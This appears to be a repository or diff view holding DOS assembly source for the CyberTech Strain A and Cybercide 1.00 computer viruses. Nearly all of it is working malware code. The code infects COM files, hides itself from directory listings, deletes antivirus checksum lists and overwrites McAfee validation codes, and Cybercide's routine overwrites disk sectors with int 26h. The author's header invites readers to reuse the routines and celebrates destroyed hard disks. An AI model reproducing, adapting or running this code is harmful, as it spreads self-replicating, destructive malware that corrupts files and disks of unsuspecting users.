Cmp Ax,'ZM' ;
Je ExeFile ;
Cmp Ax,'MZ' ; Check if renamed weird exe-
Je ExeFile ; file
Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected
Cmp Ah,'*' ;
Jne Infect ;
ExeFile: Call Close ; If one of the checks is yes,
Mov Ah,4fh ; close file and search next
Jmp Search ; file
FSeek: Xor Cx,Cx ; subroutine to jump to end
Xor Dx,Dx ; or begin of file
Int 21h ;
Ret ;
Infect: Mov Ax,4202h ; jump to EOF
Call FSeek ;
Cmp Ax,0f900 ; Check if file too large
Jae ExeFile ; if yes, goto exefile
Cmp Ax,10 ; Check if file too short
Jbe ExeFile ; if yes, goto exefile
Mov Cx,Dx ; calculate pointer to offset
Mov Dx,Ax ; EOF-52 (for McAfee validation
Sub Dx,52 ; codes)
Mov Si,Cx ; move file pointer to the
Mov Di,Dx ; calculated address
Mov Ax,4200h ;
Int 21h ;
Mov Ah,3fh ; read the last 52 bytes
Mov Dx,0fb00h ; of the file
Mov Cx,52 ;
Int 21h ;
Cmp Ds:0Fb00h,0fdf0h ; check if protected with the
Jne Check2 ; AG option
Cmp Ds:0fb02h,0aac5h ;
Jne Check2 ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Int 21h ; code
Jmp CalcVirus ;
Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the
Jne Eof ; AV option
Cmp Ds:0Fb02h+42,0aac5h ;
Jne Eof ;
Mov Ax,4200h ; yes - let virus overwrite
Mov Cx,Si ; the code with itself, so
Mov Dx,Di ; the file has no validation
Add Dx,42 ; code
Int 21h ;
Jmp CalcVirus ;
Eof: Mov Ax,4202h ; not AG or AV - jump to
Call Fseek ; EOF
CalcVirus: Sub Ax,3 ; calculate the jump for the
Mov Cs:CallPtr[BP]+1,Ax ; virus start
GetCrypt: Mov Ah,2ch ; get 100s seconds for the
Int 21h ; encryption value.
Cmp Dl,0 ; if not zero, goto NoZero
Jne NoZero ;
Mov Ah,9 ; If zero, display copyright
Lea Dx,Msg[Bp] ; message and generate again
Int 21h ; a number
Jmp GetCrypt ;
NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor
Lea Si,MainVir[BP] ; Move changed decryptor to
Mov Di,0fb00h ; a safe place in memory
Mov Cx,DecrLen ;
Rep Movsb ;
Lea Si,Crypt[BP] ; Encrypt the virus and merge
Mov Cx,CryptLen ; it to the changed decryptor
Encrypt: Lodsb ; code
Xor Al,Dl ;
Stosb ;
Loop Encrypt ;
Mov Ah,40h ; append virus at EOF or over
Lea Dx,0fb00h ; the validation code of
Mov Cx,VirLen ; McAfee
Int 21h ;
Mov Ax,4200h ; Jump to BOF
Call FSeek ;
Mov Ah,40h ; Write Jump at BOF
Lea Dx,CallPtr[BP] ;
Mov Cx,4 ;
Int 21h ;
Call Close ; Jump to Close routine
Ready: Mov Ah,1ah ; Restore DTA to normal
Mov Dx,80h ; offset
Int 21h ;
Mov Ax,Cs:OldInt24[Bp] ; remove critical error
Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the
Xor Bx,Bx ; original handler at the
Push Bx ; interrupt table
Pop Ds ;
Mov Ds:[4*24h],Dx ;
Mov Ds:[4*24h]+2,Ax ;
Push Cs ;
Pop Ds ;
Pop Ax ; restore possible error code
Mov Bx,100h ; nice way to jump to the
Push Cs ; begin of the original host
Push Bx ; code
Retf ;
Close: Pop Si ; why???
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Mov Ax,4301h ; restore file attributes
Pop Cx ;
Mov Dx,0fd1eh ;
Int 21h ;
Mov Ah,41h ; delete CHKLIST.CPS (the
Lea Dx,CpsName[BP] ; Central Point CRC list)
Int 21h ;
Push Si ; why???
Ret
;
; Message when we are in 1993
;
Removed Db 13,10,'The previous year you have been infected by a virus'
Db 13,10,'without knowing or removing it. To be gentle to you'
Db 13,10,'I decided to remove myself from your system. I suggest'
Db 13,10,'you better buy ViruScan of McAfee to ensure yourself'
Db 13,10,'complete security of your precious data. Next time you'
Db 13,10,'could be infected with a malevolent virus.'
Db 13,10,10,'May I say goodbye to you for now....',13,10
;
; Message when encryption byte = 0 or when we are living in 1993
;
Msg Db 13,10,'CyberTech Virus - Strain A'
Db 13,10,'(C) 1992 John Tardy of Trident'
Db 13,10,'$'
;
; New critical error handler
;
NewInt24: Mov Al,3 ; supress any critical error
Iret ; messages
CpsName Db 'chklist.cps',0 ; name for CP CRC-list
OldInt24 Dd 0 ; storage place for old int 24
CallPtr Db 0e9h,0,0 ; jump to place at BOF
FileSpec Db '*.COM',0 ; filespec and infection marker
OrgPrg: Int 20h ; original program
Db 'JT' ;
CryptLen Equ $-Crypt ; encrypted part length
VirLen Equ $-MainVir ; total virus length
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+999
View File
@@ -0,0 +1,999 @@
.model tiny
.code
org 100h
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
; A NEW ORDER OF INTELLIGENCE PRESENTS: ;
; ;
; Cybercide 1.00 - The original source-code ;
; Copyright (c) -91 by Cruel Entity / Macaroni Ted ;
; ;
; This one is really old now. Mcaffe virus scanner have detected it for ;
; years. Therefor I've decided to realease it. I hope you'll learn some- ;
; thing from it. You are free to use routines from it and also rebuild ;
; it. Just give me some credits. ;
; ;
; I hope you'll feel the nice feeling you get when you hear that many ;
; hard-disks have been destroyed by you virus. So keep up the good work ;
; and write more virus. ;
; ;
; Of cource I can't take any responsibility for all virus-coders who ;
; use any of the routines in this virus. ;
; ;
; Greetings to; God for creating AT&T's ;
; ;
; ps! Tasm /m3 and tlink /t to get this babe into executable! ;
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
start:
call $+3
sub_this: pop bp
mov ax,0dd22h ;are we already in memory?
int 21h
cmp ax,03d33h
jne $+7
lea dx,[bp+(cancel-sub_this)]
jmp far ptr dx
mov ax,3521h ;get int 21h vect
int 21h
mov [bp+(int_21h_off-sub_this)],bx
mov [bp+(int_21h_seg-sub_this)],es
mov ax,3509h ;get int 9h vect
int 21h
mov [bp+(int_9h_off-sub_this)],bx
mov [bp+(int_9h_seg-sub_this)],es
mov ax,351ch ;get int 1ch vect
int 21h
mov [bp+(int_1ch_off-sub_this)],bx
mov [bp+(int_1ch_seg-sub_this)],es
mov ax,cs
dec ax
mov es,ax
mov ax,es:[0003h]
sub ax,[bp+(memlen-sub_this)]
mov es:[0003h],ax
mov ax,[bp+(memlen-sub_this)]
sub word ptr es:[0012h],ax
mov es,es:[0012h]
push es
lea si,[bp+(start-sub_this)]
mov di,0100h
mov cx,[bp+(filelen-sub_this)]
rep movsb
pop ds ;es => ds
mov ax,2521h ;new vector at ES:0100
lea dx,new_int_21h
int 21h
mov ax,2509h ;int 9h
lea dx,new_int_9h
int 21h
mov ax,251ch ;int 1ch
lea dx,new_int_1ch
int 21h
cancel:
push cs ;cs => ds => es
push cs
pop ds
pop es
lea si,[bp+(first_bytes-sub_this)]
mov cx,3
mov di,100h
rep movsb
sub di,3
jmp far ptr di
ULTIMATHULE DB 'nam nesut agn†m dem „nk mo „nk ,marf'
db 'kcig xeR sluloraC ruh nes egn„l r”f ,n„ in snniM'
; ^^^^^^^^^ Only a swedish poem written backwards ^^^^^^^^^
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Resident part -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
imperial_march dw 330,600
dw 330,600
dw 330,600
dw 262,450
dw 392,150
dw 330,600
dw 262,450
dw 392,150
dw 330,1200
dw 494,600
dw 494,600
dw 494,600
dw 523,450
dw 392,150
dw 330,600
dw 262,450
dw 392,150
dw 330,1200
dw 0
db 'YTITNE na ot LEURC eb reven'
darth_return:
push cs
push cs
pop ds
pop es
lea si,imperial_march
darth_again:
lodsw
cmp ax,0
je darth_end
mov di,ax
play:
mov al,0b6h
out 43h,al
mov dx,12h
mov ax,3280h
div di
out 42h,al
mov al,ah
out 42h,al
in al,61h
mov ah,al
or al,3
out 61h,al
delay:
lodsw
mov cx,ax
m_delay:
push cx
mov cx,2700
loop $
pop cx
loop m_delay
out 61h,al
jmp darth_again
darth_end:
xor al,al ;sound off
out 61h,al
mov ax,0b800h ;print ansi
mov es,ax
lea si,darth_pic
mov di,3680
mov cx,320
rep movsb
jmp $ ;hang
db 'ynollef ELIV a si GINKLAWYAJ'
next_hour:
cmp dh,0
je check_100th
pop dx
pop cx
pop ax
jmp exit
check_100th:
cmp dl,5
jb random_sector
pop dx
pop cx
pop ax
jmp exit
random_sector:
pushf
push bx
call get_rnd
mov cx,10 ;/ 10
xor dx,dx
div cx
mov dx,ax ;dx=ax
mov al,2h ;drive #, start with c:
mov cx,1h ;# of sectors to overwrite
lea bx,logo ;address to overwriting data
loopie:
int 26h
popf
inc al
cmp al,25
jne loopie
pop bx
popf
pop dx
pop cx
pop ax
jmp exit
db '... I SHALL FEAR NO EVIL ...'
check_time_int1c:
mov ah,2ch ;get time
int 21h
cmp ch,16 ;>16:??
jae set_flag_flag
pop dx
pop cx
pop ax
jmp exit
set_flag_flag:
mov cs:flagga,1
pop dx
pop cx
pop ax
jmp exit
logo db '>>> A.N.O.I <<<' ; DATA to overwrite with
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; New Interrupt 21h Handler
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
new_int_21h:
pushf
cmp ax,0dd22h ;mem check
je mem_check
cmp ah,2ch ;time?
je exit
cmp ah,2ah ;date?
je exit
cmp ah,9
je exit
cmp ah,11h
je find_old
cmp ah,12h
je find_old
cmp ah,4eh ;dos 2.x
je find_
cmp ah,4fh
je find_
cmp ah,3dh ;open file
je open_file
push ax
push cx
push dx
mov ah,2ch
int 21h
cmp ch,00 ;24:??
jne $+7
lea dx,darth_return
jmp far ptr dx
cmp cl,00 ;a new hour?
jne $+7
lea ax,next_hour
jmp far ptr ax
mov ah,2ah ;get date
int 21h
cmp al,6 ;flag time? (SAT)
je check_time_int1c ;check time
pop dx
pop cx
pop ax
exit:
popf
real_int_21h: db 0eah ;jmp...
int_21h_off dw ? ;to old int 21h
int_21h_seg dw ?
call_int21h:
jmp dword ptr cs:int_21h_off ;force a call to DOS
ret
open_file:
push bp
lea bp,open
jmp far ptr bp
find_:
push bp
lea bp,find_new
jmp far ptr bp
mem_check:
popf
mov ax,3d33h
iret
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Stealth FCB
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
find_old:
popf
pushf ;find fcb
push cs
call call_int21h
cmp al,0ffh
je no_more_files
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
mov ah,2fh ;get dta
int 21h
push es ;es:bx
pop ds ;ds:bx
mov si,bx ;ds:si
add si,16 ;ext name
lodsw
cmp ax,'OC' ;.CO
jne cancel_ff
lodsb
cmp al,'M' ;M
jne cancel_ff
ext_ok:
;ext=com
mov si,bx ;check size
add si,26h
lodsw
cmp ax,0 ;=> 0ffffh?
jne cancel_ff
mov si,bx ;check if already infected
add si,30
lodsw ;time
and al,00011111b
cmp al,12
je $+7 ;already infected (sec=24)
lea dx,infect
jmp far ptr dx
mov si,bx ;alter size
add si,36
mov di,si
lodsw
sub ax,cs:filelen
jz cancel_ff
stosw
cancel_ff:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
no_more_files: retf 2 ;iret flags
cancel_inf:
pop ax
pop ax
jmp cancel_ff
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Stealth 4Eh
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
find_new:
pop bp
popf
pushf ;find 4e
push cs
call call_int21h
jnc more_files
retf 2
more_files:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
mov ah,2fh ;get dta
int 21h
push es ;es:bx
pop ds ;ds:bx
mov si,bx ;ds:si
add si,16h
push si ;ONLY for infection
push es
mov si,bx
push cs ;cs => es
pop es
add si,1eh ;f name
lea di,filename
mov cx,25
get_fname:
lodsb
cmp al,0
je get_f_klar
stosb
loop get_fname
get_f_klar:
mov al,0 ;asciiz
stosb
push ds ;ds=> es
pop es
push cs ;cs=> ds
pop ds
mov si,di
sub si,4 ;'COM'
lodsw ;CO
cmp ax,'OC'
je check_m
cmp ax,'oc'
jne cancel_new
check_m:
lodsb
cmp al,'m'
je ext_is_com
cmp al,'M'
jne cancel_new
ext_is_com:
push es ;es=> ds
pop ds
mov si,bx
add si,1ch ;check size
lodsw
cmp ax,0 ;=> 0ffffh
jne cancel_new
mov si,bx
add si,16h
lodsw ;time
and al,00011111b
cmp al,12
jne attrib_check ;already infected (sec=24)
mov si,bx
add si,1ah
mov di,si
lodsw ;alter size
sub ax,cs:filelen
jz cancel_new
stosw
cancel_new:
pop ax ;crap...
pop ax
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
no_more_files2: retf 2 ;iret flags
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Infect
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
infect:
add bx,30
push bx
sub bx,30
push es
mov si,bx ;fname
add si,8
push cs ;cs=>es
pop es
lea di,filename
mov cx,8
cpy_name:
lodsb
cmp al,20h
je name_klar
stosb
loop cpy_name
name_klar:
mov al,'.'
stosb
mov si,bx
add si,16
mov cx,3
rep movsb
mov al,0
stosb
attrib_check:
push cs ;cs=> ds => es
push cs
pop ds
pop es
mov ax,4300h ;get attrib
lea dx,filename
int 21h
mov attribute,cx ;save it
xor cx,cx
mov ax,4301h ;force all attribs
int 21h
mov ax,3d02h ;open file
pushf
push cs
call call_int21h
jnc $+7 ;not a valid filename
lea dx,cancel_inf
jmp far ptr dx
mov bx,ax ;handle
mov ah,3fh ;3 first bytes
lea dx,first_bytes
mov cx,3
int 21h
mov ax,4202h ;go eof and get size
xor dx,dx
xor cx,cx
int 21h
sub ax,3
mov jmp_2,ax
mov ah,40h ;write virus to eof
mov cx,filelen ;virlen
mov dx,100h
int 21h
mov ax,4200h ;goto beg
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;write a jmp
mov cx,3
lea dx,jmp_1
int 21h
pop ds ;=> DTA
pop si
lodsw
and al,11100000b ;secs=24
or al,00001100b
mov cx,ax
lodsw ;date
mov dx,ax
mov ax,5701h ;set time/date
int 21h
mov ah,3eh
pushf
push cs
call call_int21h ;close file
mov ax,4301h ;set attrib
push cs ;cs =>ds
pop ds
mov cx,attribute
lea dx,filename
int 21h
jmp cancel_ff
cancel_uninf2:
mov ah,3eh
pushf
push cs
call call_int21h ;close file
cancel_uninf:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
pushf
push cs
call call_int21h
retf 2 ;iret flags
konstig_text db '**CYBERCIDE** -- FLOATING THROUGH THE VOID'
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; Open
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
open:
pop bp
popf
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
push ds ;ds=> es
pop es
mov bx,dx ;save dx = bx
mov bp,ax ;save ax = bp
mov di,dx
mov cx,025h ;MAX
mov dx,cx
mov al,0
repnz scasb
sub di,4
mov si,di
lodsw
cmp ax,'OC'
je check_m2
cmp ax,'oc'
jne cancel_uninf
check_m2:
lodsb
cmp al,'m'
je ext_is_com2
cmp al,'M'
jne cancel_uninf
ext_is_com2:
mov dx,bx ;restore
mov ax,bp ;restore
pushf
push cs
call call_int21h ;open file
jc cancel_uninf
mov bx,ax ;handle
mov ax,5700h ;get time/date
int 21h
and cl,00011111b
cmp cl,12
je $+7
lea bp,cancel_uninf2
jmp far ptr bp
mov ax,9000h ;temp area
mov ds,ax ;ds
mov es,ax ;es
mov ah,3fh ;read whole file
mov cx,0ffffh
mov dx,0
int 21h
mov si,0
add si,ax ;add size
sub si,3 ;3 last bytes
mov di,0 ;copy 3 last bytes to
mov cx,3 ;beg
rep movsb
push ax
mov ax,4200h ;goto beg
mov cx,0
mov dx,0
int 21h
pop cx
sub cx,cs:filelen
mov ah,40h ;write new file
mov dx,0
int 21h
mov ah,40h ;set eof mark
mov cx,0
int 21h
mov ah,3eh
pushf
push cs
call call_int21h ;close file
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
pushf
push cs
call call_int21h ;force open
retf 2
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; New Interrupt 9h Handler
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
;-9h
new_int_9h:
pushf
push ax
push bx
push ds
xor ax,ax ;ds=> 0
mov ds,ax
mov al,byte ptr ds:[0417h] ;bios, shift status
and al,8
cmp al,8 ;is alt active?
jne check_anoi ;not pressed
in al,60h
cmp al,53h ;del?
jne $+7
lea ax,alt_del
jmp far ptr ax
check_anoi:
in al,60h ;read key
cmp cs:anoi_flag,0
je check_a
cmp cs:anoi_flag,1
je check_n
cmp cs:anoi_flag,2
je check_o
cmp cs:anoi_flag,3
je check_i
cmp cs:anoi_flag,4
je anoi_
exit_zero:
mov cs:anoi_flag,0
mov cs:e_3rd,0
exit_9h:
pop ds
pop bx
pop ax
popf
real_int_9h: db 0eah ;jmp...
int_9h_off dw ? ;to old int 9h
int_9h_seg dw ?
anoi_flag db 0
e_3rd db 0
anoi_text db ' iS AROUND!',0
exit_anoi:
inc cs:e_3rd
cmp cs:e_3rd,10
je exit_zero
jmp exit_9h
check_a:
cmp al,1eh ;'a'
jne exit_anoi
mov cs:anoi_flag,1
jmp exit_9h
check_n:
cmp al,31h ;'n'
jne exit_anoi
mov cs:anoi_flag,2
jmp exit_9h
check_o:
cmp al,18h ;'o'
jne exit_anoi
mov cs:anoi_flag,3
jmp exit_9h
check_i:
cmp al,17h ;'i'
jne exit_anoi
mov cs:anoi_flag,4
jmp exit_9h
anoi_:
push bp
mov ah,0eh ;print chr
mov bx,0
xor bp,bp
print_next:
mov al,cs:[anoi_text+bp]
int 10h
inc bp
cmp al,0
jne print_next
pop bp
jmp exit_zero
alt_del:
mov ax,0b800h
mov es,ax
mov di,0
mov al,'A'
stosb
mov di,158
mov al,'N'
stosb
mov di,3998
mov al,'I'
stosb
mov di,3840
mov al,'O'
stosb
jmp exit_9h
darth_pic:
DB 'Ä',30,'Ä',30,'Å',30,'Ä',30,'Ä',30,'Ä',30,' ',7,' ',7
DB ' ',7,' ',15,' ',15,'I',15,' ',15,'h',15,'e',15,'r',15
DB 'e',15,'b',15,'y',15,' ',15,'p',15,'r',15,'o',15,'c',15
DB 'l',15,'a',15,'i',15,'m',15,' ',15,'t',15,'h',15,'i',15
DB 's',15,' ',15,'c',15,'o',15,'m',15,'p',15,'u',15,'t',15
DB 'e',15,'r',15,' ',15,'a',15,'s',15,' ',15,'t',15,'h',15
DB 'e',15,' ',15,'p',15,'r',15,'o',15,'p',15,'e',15,'r',15
DB 't',15,'y',15,' ',15,'o',15,'f',15,' ',15,'A',15,'.',15
DB 'N',15,'.',15,'O',15,'.',15,'I',15,' ',15,' ',15,' ',7
DB ' ',7,' ',14,'Ä',30,'Ä',30,'Å',30,'Ä',30,'Ä',30,'Ä',30
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,'!',15,'!',15,' ',15,'A',15,'L',15
DB 'L',15,' ',15,'H',15,'A',15,'I',15,'L',15,' ',15,'D',15
DB 'A',15,'R',15,'T',15,'H',15,' ',15,'V',15,'A',15,'D',15
DB 'E',15,'R',15,' ',15,'!',15,'!',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; New Interrupt 1Ch Handler
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
new_int_1ch:
pushf
cmp cs:flagga,0
jne print_flag
exit_1c:
popf
real_int_1ch: db 0eah ;jmp...
int_1ch_off dw ? ;to old int 1ch
int_1ch_seg dw ?
flagga db 0 ;no flag
print_flag:
push ax
push bx
push cx
push di
push si
push ds
push es
push bp
cld
mov ax,0b800h
mov es,ax
mov ds,ax
mov di,1
mov si,1
lea bp,tabl
xor ch,ch
mov cl,cs:[bp]
inc bp
again:
mov bl,cs:[bp]
inc bp
line:
lodsb
and al,00000111b
or al,bl
stosb
inc di
inc si
loop line
mov cl,cs:[bp]
inc bp
cmp cl,0
jne again
pop bp
pop es
pop ds
pop si
pop di
pop cx
pop bx
pop ax
jmp exit_1c
; # B G B
tabl db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
db 80,96,80,96,80,96,80,96
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16,0
DB '-=CYBERCIDE=- 01-30-1993 * COPYRIGHT (C) 1992-93 A.N.O.I DEVELOPMENT'
get_rnd:
push dx
push cx
push bx
in al,40h ;'@'
add ax,0000
mov dx,0000
mov cx,0007
rnd_init5:
shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_init6
inc al
rnd_init6:
loop rnd_init5
pop bx
mov al,dl
pop cx
pop dx
rnd_init_ret:
ret
filelen dw offset eof - offset start
memlen dw 300
filename db 25 dup(?)
attribute dw ?
jmp_1 db 0e9h
jmp_2 dw ?
first_bytes db 90h,0cdh,20h
eof:
end start
+421
View File
@@ -0,0 +1,421 @@
;
; CyberTech Virus - Strain A John Tardy (C) 1992
;
; Written in A86 V3.22
;
; Description : This is a Non-Resident Self-Encrypting .COM file infector
; which infects COM files in the current directory. It will
; remove CHKLIST.CPS from the current directory after it has
; infected a program. CHKLIST.CPS is a file which is used by
; VDEFEND of PCSHELL and Central Point AntiVirus. When a
; validation code is added by SCAN of McAfee, it will overwrite
; the code, so the file is no longer CRC protected anymore.
; After 1992, the virus activated. It then displays a message
; that your system has been infected. The virus will remove
; itself from the infected file and completely restore it. If
; a validation code was added, it is lost, but the file is not
; corrupted and will function normally. Even when the file is
; compressed afterwards by an executable file compressor, it is
; uncompressed. Before 1993, the virus sometimes display it's
; copyright. This is caused when the random encryption counter
; is a 0. It will redefine it, so there is no visible text in
; the virus. It checks also if there is enough diskspace
; aveable and installs a critical error handler.
;
Org 0h ; Generate .BIN file
Start: Jmp MainVir ; Jump to decryptor code at EOF
Db '*' ; Virus signature (very short)
;
; Decryptor procedure
;
MainVir: Call On1 ; Push offset on stack
On1: Pop BP ; Calculate virus offset
Sub BP,Offset MainVir+3 ;
Push Ax ; Save possible error code
Lea Si,Crypt[BP] ; Decrypt the virus with a
Mov Di,Si ; very simple exclusive or
Mov Cx,CryptLen ; function.
Decrypt: Lodsb ;
Xor Al,0 ;
Stosb ;
Loop Decrypt ;
DecrLen Equ $-MainVir ; Length of the decryptor
;
; Main initialization procedure
;
Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at
Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com)
Mov Cs:Start+100h,Ax ;
Mov Cs:Start[2]+100h,Bx ;
Xor Ax,Ax ; Get original interrupt 24
Push Ax ; (critical error handler)
Pop Ds ;
Mov Bx,Ds:[4*24h] ;
Mov Es,Ds:[4*24h]+4 ;
Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place
Mov Word Ptr Cs:OldInt24+2[Bp],Es ;
Lea Bx,NewInt24[Bp] ; Install own critical error
Push Cs ; handler to avoid messages
Pop Es ; when a disk is write
Mov Word Ptr Ds:[4*24h],Bx ; protected and such things
Mov Word Ptr Ds:[4*24h]+2,Es ;
Push Cs ;
Pop Ds ;
Mov Ah,30h ; Check if DOS version is
Int 21h ; 3.0 or above for correct
Cmp Al,3 ; interrupt use
Jae On2 ;
Jmp Ready ;
On2: Mov Ax,3600h ; Check if enough disk space
Xor Dx,Dx ; is aveable for infecting
Int 21h ; (3 clusters should be
Cmp Bx,3 ; enough i think)
Ja TestDate ;
Jmp Ready ;
TestDate: Mov Ah,2ah ; Check if 1992 is past time
Int 21h ; already
Cmp Cx,1993 ;
Jae Clean ; - 1993 or more
Jmp NoClean ; - Not 1993 or more
;
; Main Cleanup procedure
;
Clean: Push Cs ; Show message that the
Pop Ds ; system has been infected
Mov Ah,9 ;
Lea Dx,Removed[Bp] ;
Int 21h ;
Mov Ah,1ah ; Move DTA to a safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ax,Cs:[2ch] ; Find the name of the
Mov Ds,Ax ; program that is now
Mov Si,0 ; executed (me must search in
Mov Cx,4000h ; the DOS environment for
Seeker: Lodsb ; safe tracking of the name
Cmp Al,1 ;
Je On3 ;
Loop Seeker ;
On3: Inc Si ; Transfer the found name
Push Cs ; to a safe address in memory
Pop Es ;
Mov Di,0fd80h ;
Mov Cx,80h ;
Trans: Lodsb ;
Cmp Al,0h ;
Jne Verder ;
Xor Ax,Ax ;
Verder: Stosb ;
Loop Trans ;
Push Cs ; Read file attributes and
Pop Ds ; check if an error has
Mov Ax,4300h ; occured
Mov Dx,0fd80h ;
Int 21h ;
Jnc DeInfect ; - No error, DeInfect
Jmp Ready ; - Error, Ready
DeInfect: Push Cx ; Store old file attributes
Mov Ax,4301h ; Clear file attributes
Xor Cx,Cx ; (for read only etc.)
Int 21h ;
Mov Ax,3d02h ; Open the file
Int 21h ;
Mov Bx,Ax ; Read file date/time stamp
Mov Ax,5700h ; and store it on the stack
Int 21h ; for later use
Push Cx ;
Push Dx ;
Mov Ah,3eh ; Close file
Int 21h ;
Mov Dx,0fd80h ; Create a new file with the
Xor Cx,Cx ; same name
Mov Ah,3ch ;
Int 21h ;
Mov Bx,Ax ; store file handle in BX
Mov Ah,40h ; write memory image of host
Mov Dx,100h ; program to file (the original
Mov Cx,Bp ; file is now back again)
Sub Cx,0fch ;
Int 21h ;
Pop Dx ; restore file date/time
Pop Cx ; stamp
Mov Ax,5701h ;
Int 21h ;
Mov Ah,3eh ; close file
Int 21h ;
Pop Cx ; restore file attributes
Mov Ax,4301h ;
Mov Dx,0fd80h ;
Int 21h ;
Push Cs ; jump to ready routine
Pop Ds ; (shutdown of the virus)
Jmp Ready ;
;
; Main viral part
;
NoClean: Mov Ah,1ah ; Store DTA at safe place
Mov Dx,0fd00h ;
Int 21h ;
Mov Ah,4eh ; FindFirsFile Function
